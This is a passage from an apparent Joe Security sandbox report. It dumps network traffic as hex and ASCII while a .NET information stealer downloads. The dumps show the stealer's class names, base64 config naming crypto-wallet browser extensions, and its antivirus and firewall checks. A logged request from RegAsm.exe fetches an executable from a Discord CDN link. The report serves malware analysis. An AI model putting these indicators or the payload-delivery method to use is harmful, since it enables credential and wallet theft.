2022-01-15 19:23:42 UTC 8275 IN Data Raw: 62 03 54 00 17 40 00 00 00 00 91 00 c7 1a 79 14 55 00 24 40 00 00 00 00 96 00 96 1a fd 00 56 00 6c 40 00 00 00 00 86 18 b4 33 01 00 58 00 74 40 00 00 00 00 86 00 67 04 e8 00 58 00 88 40 00 00 00 00 86 00 47 2e e8 00 59 00 40 41 00 00 00 00 86 00 ef 08 1b 00 5a 00 74 41 00 00 00 00 86 00 93 0b 7f 14 5a 00 a8 41 00 00 00 00 86 00 35 0d 86 14 5b 00 ec 41 00 00 00 00 86 00 9e 0e 8e 14 5c 00 20 42 00 00 00 00 86 00 7a 0f 97 14 5d 00 54 42 00 00 00 00 86 00 63 11 9f 14 5e 00 88 42 00 00 00 00 86 00 ec 11 ac 14 5f 00 bc 42 00 00 00 00 86 00 45 00 b9 14 60 00 f0 42 00 00 00 00 86 00 12 03 ac 14 61 00 24 43 00 00 00 00 86 00 03 05 c4 14 62 00 58 43 00 00 00 00 86 00 67 07 d1 14 63 00 8c 43 00 00 00 00 86 00 60 09 de 14 64 00 c0 43 00 00 00 00 86 00 32 0c b9 14 65 Data Ascii: bT@yU$@Vl@3Xt@[email protected]@AZtAZA5[A\ Bz]TBc^B_BE`Ba$CbXCgcC`dC2e

2022-01-15 19:23:42 UTC 8276 IN Data Raw: 00 ac 37 8e 15 17 01 1c 60 00 00 00 00 96 00 b1 28 9b 15 1b 01 d0 63 00 00 00 00 96 00 14 36 ab 15 1c 01 5c 65 00 00 00 00 c6 00 61 31 ba 15 1f 01 ac 65 00 00 00 00 c6 00 7b 37 c4 15 21 01 bc 67 00 00 00 00 86 18 b4 33 01 00 21 01 c4 67 00 00 00 00 86 00 ec 3b cf 15 21 01 56 68 00 00 00 00 86 18 b4 33 01 00 22 01 60 68 00 00 00 00 c6 00 61 31 ba 15 22 01 e4 68 00 00 00 00 c6 00 7b 37 c4 15 24 01 f8 6b 00 00 00 00 86 08 8c 37 d8 15 24 01 00 6c 00 00 00 00 86 08 9c 37 e0 15 24 01 0c 6c 00 00 00 00 c6 00 61 31 ba 15 25 01 e4 6c 00 00 00 00 c6 00 7b 37 c4 15 27 01 b8 6f 00 00 00 00 86 18 b4 33 01 00 27 01 cb 6f 00 00 00 00 c6 00 61 31 ba 15 27 01 d4 6f 00 00 00 00 c6 00 7b 37 c4 15 29 01 a8 70 00 00 00 00 96 00 7e 38 e9 15 29 01 b1 70 00 00 00 00 86 18 b4 33 Data Ascii: 7`(c6\ea1e{7!g3!g;!Vh3"`ha1"h{7$k7$l7$la1%l{7'o3'oa1'o{7)p~8)p3

2022-01-15 19:23:42 UTC 8278 IN Data Raw: 00 00 86 08 08 07 10 00 65 01 8c 9e 00 00 00 00 86 08 e3 08 ce 16 66 01 94 9e 00 00 00 00 86 08 eb 08 d8 16 66 01 9d 9e 00 00 00 00 86 08 87 0b e3 16 67 01 a5 9e 00 00 00 00 86 08 8f 0b ed 16 67 01 ae 9e 00 00 00 00 86 08 29 0d f8 16 68 01 b6 9e 00 00 00 00 86 08 31 0d 02 17 68 01 bf 9e 00 00 00 00 86 08 92 0e 0d 17 69 01 c7 9e 00 00 00 00 86 08 9a 0e 17 17 69 01 d0 9e 00 00 00 00 86 00 7a 0f 1b 00 6a 01 44 9f 00 00 00 00 86 18 b4 33 01 00 6a 01 4c 9f 00 00 00 00 86 18 b4 33 01 00 6a 01 54 9f 00 00 00 00 86 18 b4 33 10 00 6a 01 68 9f 00 00 00 00 86 08 5b 04 e4 00 6b 01 70 9f 00 00 00 00 86 08 63 04 10 00 6b 01 79 9f 00 00 00 00 86 08 00 07 1b 00 6c 01 81 9f 00 00 00 00 86 08 08 07 76 05 6c 01 8a 9f 00 00 00 00 86 08 e3 08 e4 00 6d 01 92 9f 00 00 00 00 86 Data Ascii: effgg)h1hiizjD3jL3jT3jh[kpckylvlm

2022-01-15 19:23:42 UTC 8279 IN Data Raw: a6 00 00 00 00 86 08 5a 07 3e 17 9c 01 f8 a6 00 00 00 00 86 08 63 07 48 17 9c 01 01 a7 00 00 00 00 86 18 b4 33 01 00 9d 01 09 a7 00 00 00 00 86 08 5b 04 d8 15 9d 01 11 a7 00 00 00 00 86 08 63 04 e0 15 9d 01 1a a7 00 00 00 00 86 08 00 07 d8 15 9e 01 22 a7 00 00 00 00 86 08 08 07 e0 15 9e 01 2b a7 00 00 00 00 86 08 e3 08 d8 15 9f 01 33 a7 00 00 00 00 86 08 eb 08 e0 15 9f 01 3c a7 00 00 00 00 86 08 87 0b d8 15 a0 01 44 a7 00 00 00 00 86 08 8f 0b e0 15 a0 01 4d a7 00 00 00 00 86 08 29 0d 53 17 a1 01 55 a7 00 00 00 00 86 08 31 0d 5d 17 a1 01 5e a7 00 00 00 00 86 08 92 0e 68 17 a2 01 66 a7 00 00 00 00 86 08 9a 0e 72 17 a2 01 6f a7 00 00 00 00 86 08 6e 0f 7d 17 a3 01 77 a7 00 00 00 00 86 08 76 0f 87 17 a3 01 80 a7 00 00 00 00 86 08 57 11 92 17 a4 01 88 a7 00 00 Data Ascii: Z>cH3[c"+3<DM)SU1]^hfron}wvW

2022-01-15 19:23:42 UTC 8280 IN Data Raw: d4 01 05 aa 00 00 00 00 86 08 08 07 10 00 d4 01 0e aa 00 00 00 00 86 08 e3 08 e4 00 d5 01 16 aa 00 00 00 00 86 08 eb 08 10 00 d5 01 1f aa 00 00 00 00 86 08 87 0b e4 00 d6 01 27 aa 00 00 00 00 86 08 8f 0b 10 00 d6 01 30 aa 00 00 00 00 86 08 29 0d e4 00 d7 01 38 aa 00 00 00 00 86 08 31 0d 10 00 d7 01 41 aa 00 00 00 00 86 08 92 0e e4 00 d8 01 49 aa 00 00 00 00 86 08 9a 0e 10 00 d8 01 52 aa 00 00 00 00 86 08 6e 0f f7 17 d9 01 5a aa 00 00 00 00 86 08 76 0f fd 17 d9 01 63 aa 00 00 00 00 86 08 57 11 e4 00 da 01 6b aa 00 00 00 00 86 08 5f 11 10 00 da 01 74 aa 00 00 00 00 86 08 e0 11 e4 00 db 01 7c aa 00 00 00 00 86 08 e8 11 10 00 db 01 85 aa 00 00 00 00 86 08 38 00 e4 00 dc 01 8d aa 00 00 00 00 86 08 41 00 10 00 dc 01 96 aa 00 00 00 00 86 08 05 03 e4 00 dd 01 9e Data Ascii: '0)81AIRnZvcWk_t|8A

2022-01-15 19:23:42 UTC 8282 IN Data Raw: 3b 01 00 65 02 d7 ae 00 00 00 00 e1 09 7d 3d 2c 00 65 02 e0 ae 00 00 00 00 e1 01 49 33 03 19 65 02 1c af 00 00 00 00 e1 01 87 33 42 00 65 02 24 af 00 00 00 00 91 18 d8 33 08 15 65 02 30 af 00 00 00 00 86 18 b4 33 01 00 65 02 38 af 00 00 00 00 83 00 7b 01 0d 19 65 02 3b af 00 00 00 00 86 18 b4 33 01 00 69 02 44 af 00 00 00 00 83 00 c0 06 1b 19 69 02 7b af 00 00 00 00 91 18 d8 33 08 15 6a 02 87 af 00 00 00 00 86 18 b4 33 01 00 6a 02 8f af 00 00 00 00 83 00 89 01 22 19 6a 02 9a af 00 00 00 00 83 00 8a 03 29 19 6b 02 00 00 00 00 03 00 86 18 b4 33 8f 00 6c 02 00 00 00 00 03 00 c6 01 c6 1f 37 19 6e 02 00 00 00 00 03 00 c6 01 c1 1f 3d 19 70 02 00 00 00 00 03 00 c6 01 b7 1f 47 19 74 02 a2 af 00 00 00 00 91 18 d8 33 08 15 75 02 ae af 00 00 00 00 86 18 b4 33 01 00 Data Ascii: ;e}=,eI3e3Be$3e03e8{e;3iDi{3j3j"j)k3l7n=pGt3u3

2022-01-15 19:23:42 UTC 8283 IN Data Raw: 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 2e 00 00 02 00 72 37 00 00 03 00 4b 3c 00 00 01 00 59 Data Ascii: Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y.r7K<Y

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 89 of 103

2022-01-15 19:23:42 UTC 8284 IN Data Raw: 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 aa 26 00 00 01 00 9f 32 00 00 01 00 9f 32 00 00 01 00 10 40 00 00 01 00 92 39 00 00 01 00 57 35 00 00 01 00 3f 36 00 00 01 00 61 36 00 00 01 00 35 36 Data Ascii: &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&22@9W5?6a656

2022-01-15 19:23:42 UTC 8286 IN Data Raw: 4b 3c 00 00 01 00 06 40 00 00 01 00 c2 32 00 00 01 00 06 40 00 00 01 00 cc 27 06 00 59 00 1c 00 7c 00 1d 00 7c 00 1e 00 7c 00 20 00 7c 00 30 00 59 00 58 00 0a 00 58 00 b5 00 58 00 06 00 58 00 59 00 58 00 55 00 09 00 b4 33 01 00 11 00 b4 33 05 00 19 00 b4 33 01 00 21 00 b4 33 0a 00 31 00 b4 33 10 00 41 00 b4 33 15 00 49 00 b4 33 01 00 99 00 b4 33 01 00 51 00 6b 27 01 00 d1 00 b4 33 01 00 b1 00 17 23 01 00 a9 00 0e 3f 1b 00 0c 00 9c 3d 27 00 a9 00 b1 3b 01 00 a9 00 9c 3d 2c 00 14 00 a6 33 39 00 69 01 a6 33 42 00 71 01 b4 33 01 00 c9 01 b4 33 01 00 79 02 b4 33 01 00 81 02 b4 33 01 00 89 02 b4 33 01 00 99 02 b4 33 01 00 a9 02 b4 33 01 00 1c 00 b4 33 01 00 24 00 b4 33 8f 00 b1 02 6b 3b 95 00 2c 00 a6 33 39 00 34 00 9c 3d 27 00 b9 02 c7 42 c1 00 b9 02 21 1e c4 Data Ascii: K<@2@'Y||| |0YXXXXYXU333!313A3I33Qk'3#?=';=,39i3Bq33y333333$3k;,394='B!

2022-01-15 19:23:42 UTC 8290 IN Data Raw: 12 43 00 28 10 00 13 43 00 28 10 a0 18 43 00 28 10 e0 18 0b 00 28 10 00 19 0b 00 28 10 40 19 0b 00 28 10 60 19 0b 00 28 10 80 19 0b 00 28 10 a0 19 0b 00 28 10 c0 19 0b 00 28 10 e0 19 0b 00 28 10 c0 1c 43 00 28 10 e0 1c 43 00 28 10 00 1d 43 00 28 10 20 1d 43 00 28 10 40 1d 43 00 28 10 80 1d 43 00 28 10 a0 1d 43 00 28 10 c0 1d 43 00 28 10 e0 1d 43 00 28 10 00 1e 43 00 28 10 20 1e 43 00 28 10 40 1e 43 00 28 10 60 1e 43 00 28 10 80 1e 43 00 28 10 a0 1e 43 00 28 10 c0 1e 43 00 28 10 e0 1e 43 00 28 10 80 1f 43 00 28 10 a0 1f 43 00 28 10 c0 1f 43 00 28 10 e0 1f 43 00 28 10 00 20 43 00 28 10 20 20 43 00 28 10 40 20 43 00 28 10 60 20 43 00 28 10 80 20 43 00 28 10 a0 20 43 00 28 10 c0 20 43 00 28 10 e0 20 43 00 28 10 00 21 43 00 28 10 20 21 43 00 28 10 40 21 43 00 Data Ascii: C(C(C(((@(`(((((C(C(C( C(@C(C(C(C(C(C( C(@C(`C(C(C(C(C(C(C(C(C( C( C(@ C(` C( C( C( C( C(!C( !C(@!C

2022-01-15 19:23:42 UTC 8294 IN Data Raw: 74 a8 01 00 cd 00 9c a8 01 00 ce 00 c4 a8 01 00 cf 00 d4 a8 01 00 d0 00 ec a8 01 00 d1 00 14 a9 01 00 d2 00 3c a9 01 00 d3 00 54 a9 01 00 d4 00 bc a9 01 00 d5 00 cc a9 01 00 d6 00 fc a9 01 00 d7 00 14 aa 01 00 d8 00 3c aa 01 00 d9 00 54 aa 01 00 da 00 5c aa 01 00 db 00 6c aa 01 00 dc 00 84 aa 01 00 dd 00 a4 aa 01 00 de 00 bc aa 01 00 df 00 c4 aa 01 00 e0 00 e4 aa 01 00 e1 00 04 ab 01 00 e2 00 0c ab 01 00 e3 00 2c ab 01 00 e4 00 3c ab 01 00 e5 00 5c ab 01 00 e6 00 ac ab 01 00 e7 00 44 ac 01 00 e8 00 74 ac 01 00 e9 00 a4 ac 01 00 ea 00 ac ac 01 00 eb 00 c4 ac 01 00 ec 00 dc ac 01 00 ed 00 f4 ac 01 00 ee 00 14 ad 01 00 ef 00 2c ad 01 00 f0 00 34 ad 01 00 f1 00 5c ad 01 00 f2 00 64 ad 01 00 f3 00 04 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8a 19 00 Data Ascii: t<T<T\l,<\Dt,4\d

2022-01-15 19:23:42 UTC 8295 IN Data Raw: 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 32 30 00 33 35 39 41 30 30 45 46 36 43 37 38 39 46 44 34 43 31 38 36 34 34 46 35 36 43 35 44 33 46 39 37 34 35 33 46 46 46 32 30 00 49 64 32 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 34 30 00 37 37 41 39 36 38 33 46 41 46 32 45 43 39 45 43 33 44 41 42 43 30 39 44 33 33 43 33 42 44 30 34 45 38 38 39 37 44 36 30 00 41 38 46 39 42 36 32 31 36 30 44 46 30 38 35 42 39 32 36 44 35 45 44 37 30 45 32 42 30 46 36 43 39 35 41 32 35 32 38 30 00 46 34 31 33 43 45 41 39 42 41 41 34 35 38 37 33 30 35 36 37 46 45 34 37 46 35 37 43 43 33 43 39 34 44 44 46 36 33 43 30 Data Ascii: __StaticArrayInitTypeSize=20359A00EF6C789FD4C18644F56C5D3F97453FFF20Id20__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=4077A9683FAF2EC9EC3DABC09D33C3BD04E8897D60A8F9B62160DF085B926D5ED70E2B0F6C95A25280F413CEA9BAA458730567FE47F57CC3C94DDF63C0

2022-01-15 19:23:42 UTC 8299 IN Data Raw: 36 42 41 38 00 39 42 38 38 43 37 38 45 38 31 41 44 42 39 45 37 32 34 37 41 42 33 37 44 31 46 35 46 33 38 36 31 38 31 30 39 31 36 44 38 00 34 36 46 32 37 33 45 46 36 34 31 45 30 37 44 32 37 31 44 39 31 45 30 44 43 32 34 41 34 33 39 32 35 38 32 36 37 31 46 38 00 67 65 74 5f 55 54 46 38 00 3c 3e 39 5f 5f 30 5f 38 00 3c 53 d1 81 d0 b0 6e 3e 62 5f 5f 30 5f 38 00 3c 3e 6f 5f 5f 38 00 67 65 74 5f 49 64 38 00 73 65 74 5f 49 64 38 00 61 73 64 6b 61 64 75 38 00 45 6e 74 69 74 79 38 00 49 64 31 39 00 32 30 43 42 35 42 38 39 36 33 45 43 45 33 44 37 39 36 35 39 34 46 30 34 33 44 36 36 43 30 45 30 42 41 44 38 36 36 36 39 00 3c 3e 39 00 32 42 39 35 32 32 44 34 46 37 33 39 38 41 42 35 44 42 37 38 39 35 39 36 46 45 35 44 42 39 30 35 38 39 42 30 33 31 45 39 00 3c 53 d1 81 Data Ascii: 6BA89B88C78E81ADB9E7247AB37D1F5F3861810916D846F273EF641E07D271D91E0DC24A4392582671F8get_UTF8<>9__0_8<Sn>b__0_8<>o__8get_Id8set_Id8asdkadu8Entity8Id1920CB5B8963ECE3D796594F043D66C0E0BAD86669<>92B9522D4F7398AB5DB789596FE5DB90589B031E9<S

2022-01-15 19:23:42 UTC 8303 IN Data Raw: 4e 61 6d 65 00 67 65 74 5f 44 69 73 70 6c 61 79 4e 61 6d 65 00 66 69 6c 65 6e 61 6d 65 00 44 61 74 65 54 69 6d 65 00 67 65 74 5f 43 72 65 61 74 69 6f 6e 54 69 6d 65 00 41 70 70 65 6e 64 4c 69 6e 65 00 67 65 74 5f 4e 65 77 4c 69 6e 65 00 43 6f 6d 62 69 6e 65 00 4c 6f 63 61 6c 4d 61 63 68 69 6e 65 00 44 61 74 61 50 72 6f 74 65 63 74 69 6f 6e 53 63 6f 70 65 00 64 61 74 61 50 72 6f 74 65 63 74 69 6f 6e 53 63 6f 70 65 00 4f 70 65 72 61 74 69 6f 6e 43 6f 6e 74 65 78 74 53 63 6f 70 65 00 70 73 7a 42 6c 6f 62 54 79 70 65 00 43 68 61 6e 67 65 54 79 70 65 00 56 61 6c 75 65 54 79 70 65 00 4d 65 73 73 61 67 65 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 00 73 65 74 5f 43 6c 69 65 6e 74 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 00 53 65 63 75 72 69 74 79 50 72 6f 74 6f Data Ascii: Nameget_DisplayNamefilenameDateTimeget_CreationTimeAppendLineget_NewLineCombineLocalMachineDataProtectionScopedataProtectionScopeOperationContextScopepszBlobTypeChangeTypeValueTypeMessageCredentialTypeset_ClientCredentialTypeSecurityProto

2022-01-15 19:23:42 UTC 8307 IN Data Raw: 6e 67 65 72 00 47 61 6d 65 4c 61 75 6e 63 68 65 72 00 46 69 6c 65 53 65 61 72 63 68 65 72 00 4d 61 6e 61 67 65 6d 65 6e 74 4f 62 6a 65 63 74 53 65 61 72 63 68 65 72 00 46 69 6c 65 43 6f 70 69 65 72 00 44 61 74 61 42 61 73 65 43 6f 6e 6e 65 63 74 69 6f 6e 48 61 6e 64 6c 65 72 00 46 69 6c 65 53 63 61 6e 6e 65 72 00 49 50 76 34 48 65 6c 70 65 72 00 4e 61 74 69 76 65 48 65 6c 70 65 72 00 47 64 69 48 65 6c 70 65 72 00 53 79 73 74 65 6d 49 6e 66 6f 48 65 6c 70 65 72 00 43 72 79 70 74 6f 48 65 6c 70 65 72 00 54 6f 55 70 70 65 72 00 43 75 72 72 65 6e 74 55 73 65 72 00 75 73 65 72 00 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 00 61 64 61 70 74 65 72 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 54 61 73 6b 52 65 73 6f 6c 76 Data Ascii: ngerGameLauncherFileSearcherManagementObjectSearcherFileCopierDataBaseConnectionHandlerFileScannerIPv4HelperNativeHelperGdiHelperSystemInfoHelperCryptoHelperToUpperCurrentUseruserGetDelegateForFunctionPointeradapterBitConverterTaskResolv

2022-01-15 19:23:42 UTC 8312 IN Data Raw: 73 74 65 6d 2e 4e 65 74 2e 53 65 63 75 72 69 74 79 00 73 65 74 5f 53 65 63 75 72 69 74 79 00 4e 65 74 54 63 70 53 65 63 75 72 69 74 79 00 45 6e 74 69 74 79 00 43 72 65 61 74 65 44 6e 73 49 64 65 6e 74 69 74 79 00 45 6e 64 70 6f 69 6e 74 49 64 65 6e 74 69 74 79 00 49 73 4e 75 6c 6c 4f 72 45 6d 70 74 79 00 42 43 72 79 70 74 53 65 74 41 6c 67 6f 72 69 74 68 6d 50 72 6f 70 65 72 74 79 00 42 43 72 79 70 74 47 65 74 50 72 6f 70 65 72 74 79 00 70 73 7a 50 72 6f 70 65 72 74 79 00 d0 bd d0 b0 d0 b2 d0 b5 d0 b2 d0 b0 00 d1 8b d0 bb d0 b2 39 32 d1 80 33 34 d0 b2 d1 8b d0 b0 00 d0 b2 d0 b0 d0 bb 39 33 d1 82 d1 84 d1 8b d0 b2 00 d1 8b d0 b2 d0 b0 38 33 d0 be 34 d1 82 d1 84 d1 8b d0 b2 00 d0 b0 d0 bb d0 be d0 b2 d0 b9 00 00 00 00 57 4c 00 45 00 6e 00 76 00 69 00 72 00 Data Ascii: stem.Net.Securityset_SecurityNetTcpSecurityEntityCreateDnsIdentityEndpointIdentityIsNullOrEmptyBCryptSetAlgorithmPropertyBCryptGetPropertypszProperty923493834WLEnvir

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 90 of 103

2022-01-15 19:23:42 UTC 8316 IN Data Raw: 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 33 00 32 00 5f 00 50 00 72 00 6f 00 63 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 65 00 73 00 73 00 6f 00 72 00 00 29 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 Data Ascii: System.Windows.FormsECT * FRSystem.Windows.FormsOM WinSystem.Windows.Forms32_ProcSystem.Windows.Formsessor)System.Windows.Forms

2022-01-15 19:23:42 UTC 8320 IN Data Raw: 12 61 02 08 08 12 80 a5 0e 05 00 01 1d 0e 0e 06 20 00 1d 12 80 a5 05 20 01 02 13 00 2c 07 13 15 12 2d 01 12 80 fc 0a 15 12 35 01 0e 0e 1d 0e 0e 1d 0e 0e 0a 1d 0e 08 0e 15 12 35 01 0e 0e 12 80 a5 1d 0e 0e 12 80 a5 1d 0e 04 00 00 1d 0e 23 07 0b 15 12 2d 01 0e 15 12 80 a1 01 0e 15 12 2d 01 0e 15 12 35 01 0e 0e 02 15 11 39 01 0e 0e 1d 0e 08 0e 0a 10 01 00 15 12 80 a1 01 1e 00 09 00 01 15 12 80 a1 01 0e 0e 18 10 01 02 15 12 80 a1 01 1e 00 15 12 80 a1 01 1e 00 15 12 80 a1 01 1e 00 06 00 02 1d 0e 0e 0e 15 07 05 15 12 2d 01 12 80 dc 15 12 2d 01 0e 15 11 39 01 0e 0e 0e 07 15 12 2d 01 12 80 dc 04 07 01 1d 03 0c 15 12 49 02 0e 15 11 80 ad 02 0e 0e 0a 0a 02 0e 15 11 80 ad 02 0e 0e 15 07 03 15 12 35 01 15 11 80 ad 02 0e 0e 15 11 80 ad 02 0e 0e 0e 0c 15 12 80 a1 01 15 Data Ascii: a ,-55#--59--9-I5

2022-01-15 19:23:42 UTC 8324 IN Data Raw: 2d 01 12 80 b4 04 20 01 0e 0e 0a 20 01 02 15 12 2d 01 12 80 b0 0a 20 01 02 15 12 2d 01 12 80 b8 0a 20 01 02 15 12 2d 01 12 80 a8 0a 20 01 02 15 12 2d 01 12 80 b4 0c 20 06 12 71 10 18 0e 0e 09 12 75 1c 07 20 02 09 10 18 12 71 09 20 04 12 71 18 09 12 75 1c 05 20 01 09 12 71 0f 20 08 12 71 18 0e 1d 05 08 10 08 09 12 75 1c 07 20 02 09 10 08 12 71 0d 20 07 12 71 18 0e 1d 05 08 08 12 75 1c 12 20 0b 12 71 18 18 0e 10 18 18 08 1d 05 08 09 12 75 1c 08 20 03 12 71 18 12 75 1c 18 20 0c 12 71 18 1d 05 08 10 11 80 c0 1d 05 08 1d 05 08 10 08 08 12 75 1c 0b 20 03 09 10 11 80 c0 10 08 12 71 05 20 01 08 12 38 0a 20 01 15 11 80 ad 02 0e 0e 0e 05 20 00 12 80 fc 09 20 00 15 12 35 01 12 80 fc 0d 20 04 02 1c 12 80 c5 12 80 c9 11 80 cd 06 20 01 02 12 80 b8 06 20 01 02 12 80 ac Data Ascii: - - - - - qu q qu q qu q qu qu qu qu q 8 5

2022-01-15 19:23:42 UTC 8327 IN Data Raw: 00 5c 00 00 00 00 00 00 00 63 00 6f 00 6e 00 66 00 69 00 67 00 00 00 00 00 5a 00 6d 00 5a 00 75 00 59 00 6d 00 56 00 73 00 5a 00 6d 00 52 00 76 00 5a 00 57 00 6c 00 76 00 61 00 47 00 56 00 75 00 61 00 32 00 70 00 70 00 59 00 6d 00 35 00 74 00 59 00 57 00 52 00 71 00 61 00 57 00 56 00 6f 00 61 00 6d 00 68 00 68 00 61 00 6d 00 4a 00 38 00 57 00 57 00 39 00 79 00 62 00 32 00 6c 00 58 00 59 00 57 00 78 00 73 00 5a 00 58 00 51 00 4b 00 61 00 57 00 4a 00 75 00 5a 00 57 00 70 00 6b 00 5a 00 6d 00 70 00 74 00 62 00 57 00 74 00 77 00 59 00 32 00 35 00 73 00 63 00 47 00 56 00 69 00 61 00 32 00 78 00 74 00 62 00 6d 00 74 00 76 00 5a 00 57 00 39 00 70 00 61 00 47 00 39 00 6d 00 5a 00 57 00 4e 00 38 00 56 00 48 00 4a 00 76 00 62 00 6d 00 78 00 70 00 62 00 6d 00 73 00 Data Ascii: \configZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbms

2022-01-15 19:23:42 UTC 8331 IN Data Raw: 63 00 74 00 7c 00 41 00 6e 00 74 00 69 00 46 00 69 00 6c 00 65 00 53 00 79 00 73 00 74 00 65 00 6d 00 53 00 70 00 79 00 57 00 46 00 69 00 6c 00 65 00 53 00 79 00 73 00 74 00 65 00 6d 00 61 00 72 00 65 00 50 00 72 00 6f 00 46 00 69 00 6c 00 65 00 53 00 79 00 73 00 74 00 65 00 6d 00 64 00 75 00 63 00 74 00 7c 00 46 00 69 00 72 00 65 00 46 00 69 00 6c 00 65 00 53 00 79 00 73 00 74 00 65 00 6d 00 77 00 61 00 6c 00 6c 00 50 00 72 00 6f 00 64 00 46 00 69 00 6c 00 65 00 53 00 79 00 73 00 74 00 65 00 6d 00 75 00 63 00 74 00 00 00 00 00 00 00 2a 00 73 00 73 00 66 00 6e 00 2a 00 00 00 00 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 00 00 25 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 Data Ascii: ct|AntiFileSystemSpyWFileSystemareProFileSystemduct|FireFileSystemwallProdFileSystemuct*ssfn*DisplayVersion%localappdata%

2022-01-15 19:23:42 UTC 8335 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.3 49752 162.159.130.233 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

2022-01-15 19:23:42 UTC 8337 OUT GET /attachments/930215425160122399/930216315103354900/sajfajsuf.exe HTTP/1.1Host: cdn.discordapp.com

Copyright Joe Security LLC 2022 Page 91 of 103

